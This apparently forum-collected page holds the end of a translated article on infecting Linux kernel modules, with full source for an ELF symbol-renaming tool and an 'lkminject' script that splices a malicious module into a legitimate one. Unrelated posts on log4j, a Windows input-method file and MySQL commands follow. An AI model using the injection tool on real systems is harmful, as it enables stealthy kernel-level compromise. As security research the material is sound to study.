gentil: Hello, world!
evil: report in progress
gentil: How you doin', world?
evil: i'll be back!
gentil: Goodbye, world!


  好了,一切如此完美 :)


------[ 5.2.3 - OpenBSD

  OpenBSD 不使用 x86 构架的 ELF 文件,所以这个技术没有用武之地。我没有在那些使
用ELF的平台上测试过,但是我觉得它们看起来和NetBSD差不多,上面的hack技术应该
也适用。如果你在使用ELF的 OpenBSD 平台上成功了,告诉我一声。



--[ 6 - 结论

  这篇文章补充了一些在内核中集成代码的方法。我提出这个技术是因为你只要做很少的处
理就可以实现代码的插入,的确很有趣。
  好好玩吧 :)



--[ 7 - 感谢

  我要感谢 mycroft, OUAH, aki 和 afrique 给我的意见和建议。非常感谢 klem 教会我
逆向工程。
  感谢 FXKennedy 在 NetBSD 方面给我的帮助。
  A big kiss to Carla for being wonderfull. (译者注:这句话我就不翻了^_^)
  最后感谢所有 #root 的人们, `spud, hotfyre, funka, jaia,climax,
redoktober ...



--[ 8 - 参考资料


  [1] Weakening the Linux Kernel by Plaguez
      http://www.phrack.org/show.php?p=52&a=18

  [2] The Adore rootkit by stealth
      http://stealth.7350.org/rootkits/

  [3] Runtime kernel kmem patching by Silvio Cesare
      http://vx.netlux.org/lib/vsc07.html

  [4] Static Kernel Patching by jbtzhm
      http://www.phrack.org/show.php?p=60&a=8

  [5] Tool interface specification on ELF
      http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf

  [6] Modutils for 2.4.x kernels
      ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.4

  [7] Tripwire
      http://www.tripwire.org

  [8] Solaris Loadable Kernel Modules by Plasmoid
      http://www.thc.org/papers/slkm-1.0.html



--[ 9 - 源代码

----[ 9.1 - ElfStrChange

/*
* elfstrchange.c by truff <truff@projet7.org>
* Change the value of a symbol name in the .strtab section
*
* Usage: elfstrchange elf_object sym_name sym_name_replaced
*
*/

#include <stdlib.h>
#include <stdio.h>
#include <elf.h>

#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
                       Elf32_Shdr *shstrtable, char *res, size_t len);

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
                       Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);

Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
                       Elf32_Shdr *strtable, char *res, size_t len);


int main (int argc, char **argv)
{
  int i;
  int len = 0;
  char *string;
  FILE *fd;
  Elf32_Ehdr hdr;
  Elf32_Shdr symtab, strtab;
  Elf32_Sym sym;
  Elf32_Off symoffset;

  fd = fopen (argv[1], "r+");
  if (fd == NULL)
    FATAL ("fopen");

  if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
    FATAL ("Elf header corrupted");

  if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
  {
    fprintf (stderr, "Can't get .symtab section\n");
    exit (EXIT_FAILURE);
  }

  if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
  {
    fprintf (stderr, "Can't get .strtab section\n");
    exit (EXIT_FAILURE);
  }


  symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
  if (symoffset == -1)
  {
    fprintf (stderr, "Symbol %s not found\n", argv[2]);
    exit (EXIT_FAILURE);
  }


  printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);

  if (fseek (fd, symoffset, SEEK_SET) == -1)
    FATAL ("fseek");

  if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
    FATAL ("fwrite");

  printf ("[+] .strtab entry overwriten with %s\n", argv[3]);

  fclose (fd);

  return EXIT_SUCCESS;
}

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
            Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
{
  int i;
  char symname[255];
  Elf32_Off offset;

  for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
  {
    if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
               SEEK_SET) == -1)
      FATAL ("fseek");

    if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
      FATAL ("Symtab corrupted");

    memset (symname, 0, sizeof (symname));
    offset = ElfGetSymbolName (fd, sym->st_name,
                        strtab, symname, sizeof (symname));
    if (!strcmp (symname, name))
      return offset;
  }

  return -1;
}


int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
    Elf32_Shdr *shdr)
{
  if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
             SEEK_SET) == -1)
    FATAL ("fseek");

  if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
    FATAL ("Sections header corrupted");

  return 0;
}


int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
                         Elf32_Shdr *shdr)
{
  int i;
  char name[255];
  Elf32_Shdr shstrtable;

  /*
   * Get the section header string table
   */
  ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);

  memset (name, 0, sizeof (name));

  for (i=0; i<ehdr->e_shnum; i++)
  {
    if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
               SEEK_SET) == -1)
      FATAL ("fseek");

    if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
      FATAL ("Sections header corrupted");

    ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
                       name, sizeof (name));
    if (!strcmp (name, section))
    {
      return 0;
    }
  }
  return -1;
}


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
    Elf32_Shdr *shstrtable, char *res, size_t len)
{
  size_t i = 0;

  if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
    FATAL ("fseek");

  while ((i < len) || *res == '\0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }

  return 0;
}


Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
    Elf32_Shdr *strtable, char *res, size_t len)
{
  size_t i = 0;

  if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
    FATAL ("fseek");

  while ((i < len) || *res == '\0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }

  return (strtable->sh_offset + sym_name);
}
/* EOF */



----] 9.2 Lkminject

#!/bin/sh
#
# lkminject by truff (truff@projet7.org)
#
# Injects a Linux lkm into another one.
#
# Usage:
# ./lkminfect.sh original_lkm.o evil_lkm.c
#
# Notes:
# You have to modify evil_lkm.c as explained bellow:
# In the init_module code, you have to insert this line, just after
# variables init:
# dumm_module ();
#
# In the cleanup_module code, you have to insert this line, just after
# variables init:
# dummcle_module ();
#
#      http://www.projet7.org                  - Security Researchs -
###########################################################################


sed -e s/init_module/evil_module/ $2 > tmp
mv tmp $2

sed -e s/cleanup_module/evclean_module/ $2 > tmp
mv tmp $2

# Replace the following line with the compilation line for your evil lkm
# if needed.
make

ld -r $1 $(basename $2 .c).o -o evil.o

.../elfstrchange evil.o init_module dumm_module
.../elfstrchange evil.o evil_module init_module
.../elfstrchange evil.o cleanup_module dummcle_module
.../elfstrchange evil.o evclean_module cleanup_module

mv evil.o $1
rm elfstrchange

|=[ EOF ]=---------------------------------------------------------------=|

译者的话: 这篇文章总的来说还是比较容易懂的. 原文标题是<感染LKM>. 旅团的Bytes兄弟说
不如"注射"来得贴切, 采纳之. 感谢alert7大哥的建议, 保留了section的专有名称. 感谢各位
旅团兄弟的支持. 最后感谢chaton, 我占用了她的老公好几天^_^

TOP

log4j资料

Log4j主页:http://jakarta.apache.org/log4j



--------------------------------------------------------------------------------


Index

Log4j的类图
Logger:日志写出器
Logger的输出方法
Logger的命名规则
Log level
示例代码
关于logger的两点说明
Appender:日志目的地
ConsoleAppender
FileAppender
RollingFileAppender
Layout:日志格式化器
PatternLayout
patterns in PatternLayout
Configuration:配置
默认的log4j初始化过程
BasicConfigurator.configure()
xml格式的log4j配置文件概述
在xml文件中配置appender和layout
我自己的一个使用xml文件配置log4j环境的很简单的例子
Log4j的编码习惯
参考资料



Log4j的类图




Logger - 日志写出器,供程序员输出日志信息
Appender - 日志目的地,把格式化好的日志信息输出到指定的地方去
ConsoleAppender - 目的地为控制台的Appender
FileAppender - 目的地为文件的Appender
RollingFileAppender - 目的地为大小受限的文件的Appender
Layout - 日志格式化器,用来把程序员的logging request格式化成字符串
PatternLayout - 用指定的pattern格式化logging request的Layout



Logger:日志写出器
Logger对象是用来取代System.out或者System.err的日志写出器,用来供程序员输出日志信息。

Logger的输出方法
Logger类对象提供一系列方法供程序员输出日志信息。


        

        ------ Log4j APIs : class Logger ------
        
        
        
        // Printing methods :
        
        public void debug(Object msg);
        public void debug(Object msg, Throwable t);
        
        public void info(Object msg);
        public void info(Object msg, Throwable t);
        
        public void warn(Object msg);
        public void warn(Object msg, Throwable t);
        
        public void error(Object msg);
        public void error(Object msg, Throwable t);
        
        public void fatal(Object msg);
        public void fatal(Object msg, Throwable t);
        
        // Generic printing method :
        
        public void log(Level l, Object msg);
      



Logger的命名规则
Logger由一个String类的名字识别,logger的名字是大小写敏感的,且名字之间具有继承的关系,子名有父名作为前缀,用点号.分

隔。如:x.y是x.y.z的父亲。

根logger (root logger)是所有logger的祖先,它具有如下属性:1) 它总是存在的;2) 它不可以通过名字获得。

通过调用public static Logger Logger.getRootLogger()获得root logger;通过调用public static Logger Logger.getLogger

(String name)或者public static Logger Logger.getLogger(Class clazz)获得(或者创建)一个named logger。后者相当于调用

Logger.getLogger(clazz.getName())。

在某对象中,用该对象所属的类为参数,调用Logger.getLogger(Class clazz)以获得logger被认为是目前所知的最理智的命名

logger的方法。


Log level
每个logger都被分配了一个日志级别 (log level),用来控制日志信息的输出。未被分配level的logger将继承它最近的父logger的

level。

每条输出到logger的日志请求(logging request)也都有一个level,如果该request的level大于等于该logger的level,则该

request将被处理(称为enabled);否则该request将被忽略。故可得知:

logger的level越低,表示该logger越详细
logging request的level越高,表示该logging request越优先输出

Level类中预定义了五个level,它们的大小关系如下:


        Level.ALL < Level.DEBUG < Level.INFO < Level.WARN < Level.ERROR < Level.FATAL < Level.OFF
      



示例代码
以下代码将用自己所属的类为参数,创建一个logger,启用默认配置,设置其level并向其输出若干logging request。


import org.apache.log4j.Logger;
import org.apache.log4j.BasicConfigurator;
import org.apache.log4j.Level;

public class Log4jTest {
    public static void main(String argv[]) {
   
        
        // Create a logger by the name of class Log4jTest.
        
        Logger logger = Logger.getLogger(Log4jTest.class);
        
        // Use the default configuration.
        
        BasicConfigurator.configure();
        
        // Set the logger level to Level.INFO
        
        logger.setLevel(Level.INFO);
        
        // This request will be disabled since Level.DEBUG < Level.INFO.
                  
        logger.debug("This is debug.");
        
        // These requests will be enabled.
                  
        logger.info("This is an info.");
        logger.warn("This is a warning.");
        logger.error("This is an error.");
        logger.fatal("This is a fatal error.");
        
        return;
    }
}
      



关于logger的两点说明

用同名参数调用Logger.getLogger(String name)将返回同一个logger的引用。故可以在一个地方配置logger,在另外一个地方获得

配置好的logger,而无须相互间传递logger的引用。
logger的创建可以按照任意的顺序,即,父logger可以后于子logger被创建。log4j将自动维护logger的继承树。





Appender:日志目的地
每个logger都可以拥有一个或者多个appender,每个appender表示一个日志的输出目的地,比如console或者某个文件。可以使用

Logger.addAppender(Appender app)为logger增加一个appender;可以使用Logger.removeAppender(Appender app)为logger移除一

个appender。

默认情况下,logger的additive标志被设置为true,表示子logger将继承父logger的所有appenders。该选项可以被重新设置,表示

子logger将不再继承父logger的appenders。

root logger拥有目标为system.out的consoleAppender,故默认情况下,所有的logger都将继承该appender。


      

      ------ Log4j APIs : class Logger ------
      
      
      
      // 为logger对象增加或者移除一个Appender对象 :.
      
      public void appAppender(Appender app);
      public void removeAppender(Appender app);
      
      // 获得和设置additive标志:是否继承父logger的appenders :.
      // 注意:在设置additive标志为false时,必须保证已经为该logger设置了新的appender, :.
      // 否则log4j将报错:log4j:WARN No appenders could be found for logger (x.y.z). :.
      
      public boolean getAdditivity();
      public void setAdditivity(boolean additive);
   

ConsoleAppender
可以使用ConsoleAppender对象把日志输出到控制台。每个ConsoleAppender都有一个target,表示它的输出目的地。它可以是

System.out,标准输出设备(缓冲显示屏);或者是System.err,标准错误设备(不缓冲显示屏)。ConsoleAppender的使用方法参

考如下API :.


        

        ------ Log4j APIs : class ConsoleAppender extends WriterAppender ------
        
      
        
        // 构造方法,使用一个Layout对象构造一个ConsoleAppender对象 :.
        // 默认情况下,ConsoleAppender的target是System.out :.
        
        public ConsoleAppender(Layout layout);
        
        // 构造方法,使用一个Layout对象和一个target字符串构造ConsoleAppender对象 :.
        // target的可能取值为ConsoleAppender.SYSTEM_OUT和ConsoleAppender.SYSTEM_ERR :.
        
        public ConsoleAppender(Layout layout, String target);
      



FileAppender
可以使用FileAppender对象把日志输出到一个指定的日志文件中去。使用方法可以参考如下的API :.


        

        ------ Log4j APIs : class FileAppender extends WriterAppender ------
        
      
        
        // 构造方法,使用一个Layout对象和日志文件名构造一个FileAppender对象 :.
        
        public FileAppender(Layout layout, String filename)
            throws IOException;
        public FileAppender(Layout layout, String filename, boolean append)
            throws IOException;
      



RollingFileAppender
可以使用FileAppender的子类RollingFileAppender对象,把日志输出到一个指定的日志文件中。不同的是该日志文件的大小受到限

制,当日志内容超出最大的尺寸时,该文件将向上滚动(最老的日志被擦除)。还可以在该类对象中指定为日志文件做多少个备份

。具体使用方法参考如下API :.


        

        ------ Log4j APIs : class RollingFileAppender extends FileAppender ------
        
      
        
        // 构造方法,使用一个Layout对象和日志文件名构造一个RollingFileAppender对象 :.
        
        public RollingFileAppender(Layout layout, String filename)
            throws IOException;
        public RollingFileAppender(Layout layout, String filename, boolean append)
            throws IOException;
        
        // 获得和设置日志备份文件的个数 :.
        
        public int getMaxBackupIndex();
        public void setMaxBackupIndex(int index);
        
        // 获得和设置滚动日志文件的最大尺寸 :.
        
        public long getMaximumFileSize();
        public void setMaximumFileSize(long size);
      





Layout:日志格式化器
每个appender都和一个layout相联系;layout的任务是格式化用户的logging request,appender的任务是把layout格式化好的输出

内容送往指定的目的地。

PatternLayout
PatternLayout是Layout的一个子类,用来使用类似C语言的printf函数中使用的格式控制字符串来控制日志的输出格式。使用方法

参考如下API :.


        

        ------ Log4j APIs : class PatternLayout extends Layout ------
        
      
        
        // 无参数构造方法,使用DEFAULT_CONVERSION_PATTERN构造一个PatternLayout :.
        // 注意:DEFAULT_CONVERSION_PATTERN为"%m%n",只打印消息信息 :.
        
        public PatternLayout();
        
        // 构造方法,使用自定义的pattern构造一个PatternLayout :.
        
        public PatternLayout(String pattern);
        
        // 获得和设置PatternLayout对象的日志pattern :.
        
        public String getConversionPattern();
        public void setConversionPattern(String pattern);
      



patterns in PatternLayout
未完待续




Configuration:配置
对log4j环境的配置就是对root logger的配置,包括把root logger设置为哪个级别(level);为它增加哪些appender,等等。这些

可以通过设置系统属性的方法来隐式地完成,也可以在程序里调用XXXConfigurator.configure()方法来显式地完成。

默认的log4j初始化过程
Logger类的静态初始化块(static initialization block)中对log4j的环境做默认的初始化。注意:如果程序员已经通过设置系统

属性的方法来配置了log4j环境,则不需要再显式地调用XXXConfigurator.configure()方法来配置log4j环境了。

Logger的静态初始化块在完成初始化过程时将检查一系列log4j定义的系统属性。它所做的事情如下:

检查系统属性log4j.defaultInitOverride,如果该属性被设置为false,则执行初始化;否则(只要不是false,无论是什么值,甚

至没有值,都是否则),跳过初始化。
把系统属性log4j.configuration的值赋给变量resource。如果该系统变量没有被定义,则把resource赋值为"log4j.properties"。

注意:在apache的log4j文档中建议使用定义log4j.configuration系统属性的方法来设置默认的初始化文件是一个好方法。
试图把resource变量转化成为一个URL对象url。如果一般的转化方法行不通,就调用

org.apache.log4j.helpers.Loader.getResource(resource, Logger.class)方法来完成转化。
如果url以".html"结尾,则调用方法DOMConfigurator.configure(url)来完成初始化;否则,则调用方法

PropertyConfigurator.configure(url)来完成初始化。如果url指定的资源不能被获得,则跳出初始化过程。



BasicConfigurator.configure()
BasicConfigurator.configure()方法使用最简的方法配置log4j环境。注:所谓配置log4j环境,就是指配置root logger,因为所

有其它的logger都是root logger的后代,所以它们(默认情况下)都将继承root logger的性质。

BasicConfigurator.configure()完成的任务是:

用默认pattern创建PatternLayout对象p:
PatternLayout p = new PatternLayout("%-4r[%t]%-5p%c%x - %m%n");
用p创建ConsoleAppender对象a,目标是system.out,标准输出设备:
ConsoleAppender a = new ConsoleAppender(p,ConsoleAppender.SYSTEM_OUT);
为root logger增加一个ConsoleAppender p:
rootLogger.addAppender(p);
把root logger的log level设置为DEBUG级别:
rootLogger.setLevel(Level.DEBUG);



xml格式的log4j配置文件概述
xml格式的log4j配置文件需要使用org.apache.log4j.html.DOMConfigurator.configure()方法来读入。对xml文件的语法定义可以

在log4j的发布包中找到:org/apache/log4j/xml/log4j.dtd。

log4j的xml配置文件的树状结构
log4j的xml配置文件的树状结构如下所示,注意下图只显示了常用的部分。 :.


          xml declaration and dtd
            |
          log4j:configuration
            |
            +-- appender (name, class)
            |     |
            |     +-- param (name, value)
            |     +-- layout (class)
            |           |
            |           +-- param (name, value)
            +-- logger (name, additivity)
            |     |
            |     +-- level (class, value)
            |     |     |
            |     |     +-- param (name, value)
            |     +-- appender-ref (ref)
            +-- root
                  |
                  +-- param (name, class)
                  +-- level
                  |     |
                  |     +-- param (name, value)
                  +-- appender-ref (ref)  
        



xml declaration and dtd
xml配置文件的头部包括两个部分:xml声明和dtd声明。头部的格式如下: :.


          <?xml version="1.0" encoding="UTF-8" ?>
          <!DOCTYPE log4j:configuration SYSTEM "log4j.dtd">
        



log4j:configuration (root element)

xmlns:log4j [#FIXED attribute] : 定义log4j的名字空间,取定值"http://jakarta.apache.org/log4j/"
appender [* child] : 一个appender子元素定义一个日志输出目的地
logger [* child] : 一个logger子元素定义一个日志写出器
root [? child] : root子元素定义了root logger



appender
appender元素定义一个日志输出目的地。


name [#REQUIRED attribute] : 定义appender的名字,以便被后文引用
class [#REQUIRED attribute] : 定义appender对象所属的类的全名
param [* child] : 创建appender对象时传递给类构造方法的参数
layout [? child] : 该appender使用的layout对象



layout
layout元素定义与某一个appender相联系的日志格式化器。


class [#REQUIRED attribute] : 定义layout对象所属的类的全名
param [* child] : 创建layout对象时传递给类构造方法的参数



logger
logger元素定义一个日志输出器。


name [#REQUIRED attribute] : 定义logger的名字,以便被后文引用
additivity [#ENUM attribute] : 取值为"true"(默认)或者"false",是否继承父logger的属性
level [? child] : 定义该logger的日志级别
appender-ref [* child] : 定义该logger的输出目的地



root
root元素定义根日志输出器root logger。


param [* child] : 创建root logger对象时传递给类构造方法的参数
level [? child] : 定义root logger的日志级别
appender-ref [* child] : 定义root logger的输出目的地



level
level元素定义logger对象的日志级别。


class [#IMPLIED attribute] : 定义level对象所属的类,默认情况下是"org.apache.log4j.Level类
value [#REQUIRED attribute] : 为level对象赋值。可能的取值从小到大依次

为"all"、"debug"、"info"、"warn"、"error"、"fatal"和"off"。当值为"off"时表示没有任何日志信息被输出
param [* child] : 创建level对象时传递给类构造方法的参数



appender-ref
appender-ref元素引用一个appender元素的名字,为logger对象增加一个appender。


ref [#REQUIRED attribute] : 一个appender元素的名字的引用
appender-ref元素没有子元素



param
param元素在创建对象时为类的构造方法提供参数。它可以成为appender、layout、filter、errorHandler、level、

categoryFactory和root等元素的子元素。


name and value [#REQUIRED attributes] : 提供参数的一组名值对
param元素没有子元素





在xml文件中配置appender和layout
创建不同的Appender对象或者不同的Layout对象要调用不同的构造方法。可以使用param子元素来设定不同的参数值。

创建ConsoleAppender对象
ConsoleAppender的构造方法不接受其它的参数。 :.


          ... ... ... ...
          <appender name="console.log" class="org.apache.log4j.ConsoleAppender">
            <layout ... >
              ... ...
            </layout>
          </appender>
          ... ... ... ...
        



创建FileAppender对象
可以为FileAppender类的构造方法传递两个参数:File表示日志文件名;Append表示如文件已存在,是否把日志追加到文件尾部,

可能取值为"true"和"false"(默认)。 :.


          ... ... ... ...
          <appender name="file.log" class="org.apache.log4j.FileAppender">
            <param name="File" value="/tmp/log.txt" />
            <param name="Append" value="false" />
            <layout ... >
              ... ...
            </layout>
          </appender>
          ... ... ... ...
        



创建RollingFileAppender对象
除了File和Append以外,还可以为RollingFileAppender类的构造方法传递两个参数:MaxBackupIndex备份日志文件的个数(默认是

1个);MaxFileSize表示日志文件允许的最大字节数(默认是10M)。 :.


          ... ... ... ...
          <appender name="rollingFile.log" class="org.apache.log4j.RollingFileAppender">
            <param name="File" value="/tmp/rollingLog.txt" />
            <param name="Append" value="false" />
            <param name="MaxBackupIndex" value="2" />
            <param name="MaxFileSize" value="1024" />
            <layout ... >
              ... ...
            </layout>
          </appender>
          ... ... ... ...
        



创建PatternLayout对象
可以为PatternLayout类的构造方法传递参数ConversionPattern。 :.


          ... ... ... ...
          <layout class="org.apache.log4j.PatternLayout>
            <param name="Conversion" value="%d [%t] %p - %m%n" />
          </layout>
          ... ... ... ...
        





我自己的一个使用xml文件配置log4j环境的很简单的例子
为WSOTA项目开发java web start的胖客户端时,使用了如下的xml文件配置log4j环境(文件名为wsota-rc.log4j.html)::.


<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE log4j:configuration SYSTEM "log4j.dtd">

<log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/">
  
  <!-- ================================================================= -->
  <!--                     a rolling file appender                       -->
  <!-- ================================================================= -->
  
  <appender name="wsota-rc.file.log" class="org.apache.log4j.RollingFileAppender">
    <param name="File" value="/tmp/wsota-rc.log" />
    <param name="Append" value="false" />
    <layout class="org.apache.log4j.PatternLayout">
      <param name="ConversionPattern" value="%d [%t] %p - %m%n" />
    </layout>
  </appender>
  
  <!-- ================================================================= -->
  <!--                       a console appender                          -->
  <!--     debug can be turned off by setting level of root to "off"     -->
  <!-- ================================================================= -->
  
  <appender name="wsota-rc.console.log" class="org.apache.log4j.ConsoleAppender">
    <layout class="org.apache.log4j.PatternLayout">
      <param name="ConversionPattern" value="%d [%t] %p - %m%n" />
    </layout>
  </appender>
  
  <!--  use this to turn on debug to a rolling file. -->
  
  <root>
    <level value="debug" />
    <appender-ref ref="wsota-rc.file.log" />
  </root>
  
  <!--  use this to turn on debug to console. -->
  <!--
  <root>
    <level value="off" />
    <appender-ref ref="wsota-rc.console.log" />
  </root>
  -->
  
  
  <!--  use this to turn off debug. -->
  <!--
  <root>
    <level value="off" />
    <appender-ref ref="wsota-rc.console.log" />
  </root>
  -->
  
</log4j:configuration>
      

在胖客户程序中使用了如下代码来使用外部xml文件配置log4j环境,注意该代码段位于程序的main class的静态初始化块中,含有

以下代码的类和xml配置文件在同一个目录下::.


  import org.apache.log4j.html.DOMConfigurator;
  
  public class SapFrame extends JFrame {
      static {
          DOMConfigurator.configure(SapFrame.class.getResource("wsota-rc.log4j.html"));
      }
      ... ... ... ...
  }
      





Log4j的编码习惯

让每个类都拥有一个private static的Logger对象,用来输出该类中的全部日志信息
使用xml文件来完成对log4j环境的配置。在项目的main class中的静态初始化块里放log4j环境的配置代码。注意:在一个项目中,

log4j环境只需要被配置一次,而不是在每个使用了logger的类里都需要调用一次
用MyClass.class作为参数创建该类的静态Logger对象
补充中...



参考资料

Log4j主页上的相关文档:http://jakarta.apache.org/log4j/docs
Ashley J.S Mills的log4j教程:

http://supportweb.cs.bham.ac.uk/ ... ls/log4j/log4j.html






作者Blog:http://blog.csdn.net/dengyin2000/

TOP

Mfm1992文件问题

Mfm1992文件问题

  问:我的桌面上出现了一个名为Mfm1992的视窗图案的图标,路径是C:\Windows\Desktop,占用45056字节,请问它是什么文件?

  答:“Mfm1992”是中文输入法“智能ABC”的记录文件。你的电脑中出现“Mfm1992”文件是由于你使用了“智能ABC”输入法作为中文录入的方式,这也应该算是“智能ABC”输入法的一个Bug,该文件可以随时删除而不会影响系统,不必担心。

TOP

Mysql的常用命令

一、连接MYSQL。

格式: mysql -h主机地址 -u用户名 -p用户密码

1、例1:连接到本机上的MYSQL。

首先在打开DOS窗口,然后进入目录 mysqlbin,再键入命令mysql -uroot -p,回车后提示你输密码,如果刚安装好MYSQL,超级用户root是没有密码的,故直接回车即可进入到MYSQL中了,MYSQL的提示符是:mysql>

2、例2:连接到远程主机上的MYSQL。假设远程主机的IP为:110.110.110.110,用户名为root,密码为abcd123。则键入以下命令:

mysql -h110.110.110.110 -uroot -pabcd123

(注:u与root可以不用加空格,其它也一样)

3、退出MYSQL命令: exit (回车)

二、修改密码。

格式:mysqladmin -u用户名 -p旧密码 password 新密码

1、例1:给root加个密码ab12。首先在DOS下进入目录mysqlbin,然后键入以下命令

mysqladmin -uroot -password ab12

注:因为开始时root没有密码,所以-p旧密码一项就可以省略了。

2、例2:再将root的密码改为djg345。

mysqladmin -uroot -pab12 password djg345

三、增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)

格式:grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"

例1、增加一个用户test1密码为abc,让他可以在任何主机上登录,并对所有数据库有查询、插入、修改、删除的权限。首先用以root用户连入MYSQL,然后键入以下命令:

grant select,insert,update,delete on *.* to test1@\"%\" Identified by \"abc\";

但例1增加的用户是十分危险的,你想如某个人知道test1的密码,那么他就可以在internet上的任何一台电脑上登录你的mysql数据库并对你的数据可以为所欲为了,解决办法见例2。

例2、增加一个用户test2密码为abc,让他只可以在localhost上登录,并可以对数据库mydb进行查询、插入、修改、删除的操作(localhost指本地主机,即MYSQL数据库所在的那台主机),这样用户即使用知道test2的密码,他也无法从internet上直接访问数据库,只能通过MYSQL主机上的web页来访问了。

grant select,insert,update,delete on mydb.* to test2@localhost identified by \"abc\";

如果你不想test2有密码,可以再打一个命令将密码消掉。

grant select,insert,update,delete on mydb.* to test2@localhost identified by \"\";

在上篇我们讲了登录、增加用户、密码更改等问题。下篇我们来看看MYSQL中有关数据库方面的操作。注意:你必须首先登录到MYSQL中,以下操作都是在MYSQL的提示符下进行的,而且每个命令以分号结束。

一、操作技巧

1、如果你打命令时,回车后发现忘记加分号,你无须重打一遍命令,只要打个分号回车就可以了。也就是说你可以把一个完整的命令分成几行来打,完后用分号作结束标志就OK。

2、你可以使用光标上下键调出以前的命令。但以前我用过的一个MYSQL旧版本不支持。我现在用的是mysql-3.23.27-beta-win。

二、显示命令

1、显示数据库列表。

show databases;

刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。

2、显示库中的数据表:

use mysql; //打开库,学过FOXBASE的一定不会陌生吧

show tables;

3、显示数据表的结构:

describe 表名;

4、建库:

create database 库名;

5、建表:

use 库名;

create table 表名 (字段设定列表);

6、删库和删表:

drop database 库名;

drop table 表名;

7、将表中记录清空:

delete from 表名;

8、显示表中的记录:

select * from 表名;

三、一个建库和建表以及插入数据的实例

drop database if exists school; //如果存在SCHOOL则删除

create database school; //建立库SCHOOL

use school; //打开库SCHOOL

create table teacher //建立表TEACHER

(

id int(3) auto_increment not null primary key,

name char(10) not null,

address varchar(50) default ’深圳’,

year date

); //建表结束

//以下为插入字段

insert into teacher values(’’,’glchengang’,’深圳一中’,’1976-10-10’);

insert into teacher values(’’,’jack’,’深圳一中’,’1975-12-23’);

注:在建表中(1)将ID设为长度为3的数字字段:int(3)并让它每个记录自动加一:auto_increment并不能为空:not null而且让他成为主字段primary key(2)将NAME设为长度为10的字符字段(3)将ADDRESS设为长度50的字符字段,而且缺省值为深圳。varchar和char有什么区别呢,只有等以后的文章再说了。(4)将YEAR设为日期字段。

如果你在mysql提示符键入上面的命令也可以,但不方便调试。你可以将以上命令原样写入一个文本文件中假设为school.sql,然后复制到c:\下,并在DOS状态进入目录\mysql\bin,然后键入以下命令:

mysql -uroot -p密码 < c:\school.sql

如果成功,空出一行无任何显示;如有错误,会有提示。(以上命令已经调试,你只要将//的注释去掉即可使用)。

四、将文本数据转到数据库中

1、文本数据应符合的格式:字段数据之间用tab键隔开,null值用\n来代替.

例:

3 rose 深圳二中 1976-10-10

4 mike 深圳一中 1975-12-23

2、数据传入命令 load data local infile \"文件名\" into table 表名;

注意:你最好将文件复制到\mysql\bin目录下,并且要先用use命令打表所在的库。

五、备份数据库:(命令在DOS的\mysql\bin目录下执行)

mysqldump --opt school>school.bbb

注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。

后记:其实MYSQL的对数据库的操作与其它的SQL类数据库大同小异,您最好找本将SQL的书看看。我在这里只介绍一些基本的,其实我也就只懂这些了,呵呵。最好的MYSQL教程还是“晏子“译的“MYSQL中文参考手册“不仅免费每个相关网站都有下载,而且它是最权威的。可惜不是象\"PHP4中文手册\"那样是chm的格式,在查找函数命令的时候不太方便

TOP